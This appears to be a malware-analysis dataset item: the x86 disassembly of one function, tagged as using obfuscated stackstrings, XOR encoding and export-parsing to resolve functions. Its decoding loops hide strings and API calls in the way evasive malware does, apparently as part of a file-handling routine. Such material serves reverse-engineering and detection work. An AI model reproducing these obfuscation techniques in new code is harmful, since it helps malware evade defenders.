Function at 0x41327d
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x15c
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x48], 0xc1c1c29a
push edi
mov dword [esp + 0x50], 0xc5ba73b4
mov ecx, ebx
mov dword [esp + 0x54], 0xb973b5b4
mov dword [esp + 0x58], 0xc6b8bfbc
mov byte [esp + 0x5c], 0x5d
mov al, byte [esp + ecx + 0x4c]
sub al, 0x53
mov byte [esp + ecx + 0x120], al
inc ecx
cmp ecx, 0x11
jl 0x4132b0
lea eax, [esp + 0x120]
mov byte [esp + 0x131], bl
push eax
call fcn.004125f4
pop ecx
push 4
pop ecx
call fcn.00418c23
mov edi, eax
mov ecx, ebx
test edi, edi
je 0x4137ae
mov dword [esp + 0x14], 0xcfd6d3b0
mov dword [esp + 0x18], 0xdcd18add
mov dword [esp + 0x1c], 0xcfcccccb
mov dword [esp + 0x20], 0xcbda8adc
mov dword [esp + 0x24], 0x8addd2de
mov dword [esp + 0x28], 0xcfdccfe1
mov dword [esp + 0x2c], 0xdecfdc8a
mov dword [esp + 0x30], 0xe0cfd3dc
mov word [esp + 0x34], 0xcecf
mov byte [esp + 0x36], 0x74
mov al, byte [esp + ecx + 0x14]
sub al, 0x6a
mov byte [esp + ecx + 0x68], al
inc ecx
cmp ecx, 0x23
jl 0x413338
lea eax, [esp + 0x68]
mov byte [esp + 0x8b], bl
push eax
call fcn.004125f4
mov dword [esp], 0x420f14
push edi
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x4137a2
push 0x1000
call fcn.0040570b
mov ebx, eax
pop ecx
test ebx, ebx
je 0x4137a2
push 0x7c
pop eax
mov word [esp + 0x44], ax
xor eax, eax
and dword [esp + 0x48], eax
mov word [esp + 0x46], ax
lea eax, [esp + 0x48]
push eax
lea eax, [esp + 0x48]
push eax
push edi
call fcn.004057dc
mov ecx, eax
add esp, 0xc
test ecx, ecx
je 0x41379b
push 0x2f
mov word [esp + 0x64], 0xe9a0
mov byte [esp + 0x66], 0xf6
pop esi
xor edx, edx
mov al, byte [esp + edx + 0x60]
xor al, 0x85
movzx eax, al
mov word [esp + edx*2 + 0x110], ax
inc edx
cmp edx, 3
jl 0x4133c6
xor eax, eax
mov word [esp + 0x116], ax
lea eax, [esp + 0x110]
push ecx
push eax
call fcn.0041b737
mov ebp, eax
pop ecx
pop ecx
test ebp, ebp
je 0x41377d
mov dword [esp + 0xc0], 0x4e50412e
xor ecx, ecx
mov dword [esp + 0xc4], 0x41524145
mov dword [esp + 0xc8], 0x48514efc
mov dword [esp + 0xcc], 0x4522fc41
mov dword [esp + 0xd0], 0x234f4148
mov dword [esp + 0xd4], 0x3e3e3d4e
mov dword [esp + 0xd8], 0xfc084e41
mov dword [esp + 0xdc], 0x524e414f
mov dword [esp + 0xe0], 0x4ffc4e41
mov dword [esp + 0xe4], 0xfc414045
mov dword [esp + 0xe8], 0x44503d4c
mov dword [esp + 0xec], 0x4801fc16
mov word [esp + 0xf0], 0xe64f
mov al, byte [esp + ecx + 0xc0]
add al, 0x24
mov byte [esp + ecx + 0x134], al
inc ecx
cmp ecx, 0x32
jl 0x413491
lea eax, [esp + 0x134]
mov byte [esp + 0x166], 0
push ebp
push eax
call fcn.004125f4
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0x50]
push eax
push 0
call fcn.004057dc
add esp, 0x14
xor ecx, ecx
mov edx, 0x5060ff33
inc ecx
push 0x800
push ebx
push eax
call fcn.00412ca7
call eax
test eax, eax
je 0x4135f9
mov dword [esp + 0xf4], 0x819098a5
xor ecx, ecx
mov dword [esp + 0xf8], 0x90c0848e
mov dword [esp + 0xfc], 0xda889481
mov dword [esp + 0x100], 0x938cc5c0
mov byte [esp + 0x104], 0xea
mov al, byte [esp + ecx + 0xf4]
xor al, 0xe0
mov byte [esp + ecx + 0x14], al
inc ecx
cmp ecx, 0x11
jl 0x413525
mov byte [esp + 0x25], 0
xor ecx, ecx
mov word [esp + 0x64], 0x4d04
mov byte [esp + 0x66], 0x52
mov al, byte [esp + ecx + 0x64]
xor al, 0x21
movzx eax, al
mov word [esp + ecx*2 + 0x118], ax
inc ecx
cmp ecx, 3
jl 0x41354b
xor eax, eax
push ebx
mov word [esp + 0x122], ax
call fcn.0040581e
pop ecx
movzx ecx, word [ebx + eax*2 - 2]
cmp ecx, 0x5c
je 0x413582
cmp cx, si
jne 0x413589
xor ecx, ecx
mov word [ebx + eax*2 - 2], cx
lea eax, [esp + 0x14]
push ebx
push eax
call fcn.004125f4
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0x50]
push eax
push 0
call fcn.004057dc
add esp, 0x14
push eax
lea eax, [esp + 0x11c]
push eax
call fcn.0041b737
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x413773
lea eax, [esp + 0x48]
push eax
lea eax, [esp + 0x48]
push eax
push 0
call fcn.004057dc
add esp, 0xc
mov edx, ebp
mov ecx, ebx
cmp word [eax], 0x31
sete al
movzx eax, al
push eax
push esi
call fcn.004138db
push esi
call fcn.004056f0
add esp, 0xc
jmp 0x413773
xor edx, edx
mov dword [esp + 0x14], 0x1902d4d4
mov dword [esp + 0x18], 0x12070b1a
mov ecx, edx
mov dword [esp + 0x1c], 0xc02180b
mov dword [esp + 0x20], 0x190b120f
mov dword [esp + 0x24], 0x807180d
mov dword [esp + 0x28], 0xd4180b08
mov word [esp + 0x2c], 0x1609
mov byte [esp + 0x2e], 0x16
mov al, byte [esp + ecx + 0x14]
add al, 0x5a
mov byte [esp + ecx + 0xf4], al
inc ecx
cmp ecx, 0x1b
jl 0x413639
mov byte [esp + 0x10f], dl
mov ecx, edx
mov dword [esp + 0x38], 0xadacbd92
mov dword [esp + 0x3c], 0xb0b7b491
mov byte [esp + 0x40], 0xbe
mov al, byte [esp + ecx + 0x38]
sub al, 0x4b
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 9
jl 0x41366a
push 0x2f
pop eax
mov byte [esp + 0x9b], al
mov byte [esp + 0xb9], al
mov eax, edx
mov byte [esp + 0x55], dl
mov dword [esp + 0x90], 0x21303805
mov dword [esp + 0x94], 0x2e05242e
mov word [esp + 0x98], 0x2936
mov byte [esp + 0x9a], 0x32
mov dword [esp + 0x9c], 0x2e252d2e
mov dword [esp + 0xa0], 0x32341334
mov dword [esp + 0xa4], 0x33272e29
mov dword [esp + 0xa8], 0x2126e017
mov dword [esp + 0xac], 0xfb332c29
mov dword [esp + 0xb0], 0x33212ce0
mov dword [esp + 0xb4], 0x3225e034
mov byte [esp + 0xb8], 0x32
mov dword [esp + 0xba], 0xe5e0fa32
mov word [esp + 0xbe], 0xca38
movups xmm0, xmmword [esp + eax + 0x90]
paddb xmm0, xmmword [0x420fb0]
movups xmmword [esp + eax + 0xc0], xmm0
add eax, 0x10
cmp eax, 0x30
jl 0x413723
mov byte [esp + 0xf0], dl
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0xc4]
push eax
lea eax, [esp + 0x54]
push eax
lea eax, [esp + 0x100]
push 0xfc
push eax
call fcn.00412711
add esp, 0x14
push ebp
call fcn.004056f0
pop ecx
push 0x2f
pop esi
lea eax, [esp + 0x48]
push eax
lea eax, [esp + 0x48]
push eax
push 0
call fcn.004057dc
mov ecx, eax
add esp, 0xc
test ecx, ecx
jne 0x4133c4
push ebx
call fcn.004056f0
pop ecx
push edi
call fcn.004056f0
pop ecx
jmp 0x4138d0
mov dword [esp + 0x14], 0x90794b4b
mov dword [esp + 0x18], 0x897e8291
mov dword [esp + 0x1c], 0x83798f82
mov dword [esp + 0x20], 0x90828986
mov dword [esp + 0x24], 0x7f7e8f84
mov dword [esp + 0x28], 0x4b8f827f
mov word [esp + 0x2c], 0x8d80
mov byte [esp + 0x2e], 0x8d
mov al, byte [esp + ecx + 0x14]
sub al, 0x1d
mov byte [esp + ecx + 0xf4], al
inc ecx
cmp ecx, 0x1b
jl 0x4137ea
mov byte [esp + 0x10f], bl
mov ecx, ebx
mov dword [esp + 0x38], 0x46455663
mov dword [esp + 0x3c], 0x41484d62
mov byte [esp + 0x40], 0x57
mov al, byte [esp + ecx + 0x38]
xor al, 0x24
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 9
jl 0x41381b
mov byte [esp + 0x55], bl
mov ecx, ebx
mov dword [esp + 0x68], 0xebeee6c1
mov dword [esp + 0x6c], 0xf3a7e3e2
mov dword [esp + 0x70], 0xe2f5a7e8
mov dword [esp + 0x74], 0xe2eef5f3
mov dword [esp + 0x78], 0xe1a7e2f1
mov dword [esp + 0x7c], 0xf4e2ebee
mov dword [esp + 0x80], 0xe6f5e0a7
mov dword [esp + 0x84], 0xf5e2e5e5
mov dword [esp + 0x88], 0xf3e6f7a7
mov word [esp + 0x8c], 0xf4ef
mov byte [esp + 0x8e], 0x8d
mov al, byte [esp + ecx + 0x68]
xor al, 0x87
mov byte [esp + ecx + 0x90], al
inc ecx
cmp ecx, 0x27
jl 0x413894
lea eax, [esp + 0x90]
mov byte [esp + 0xb7], bl
push eax
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0xfc]
push pe_nt_image_headers32
push eax
call fcn.00412711
add esp, 0x10
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15c
ret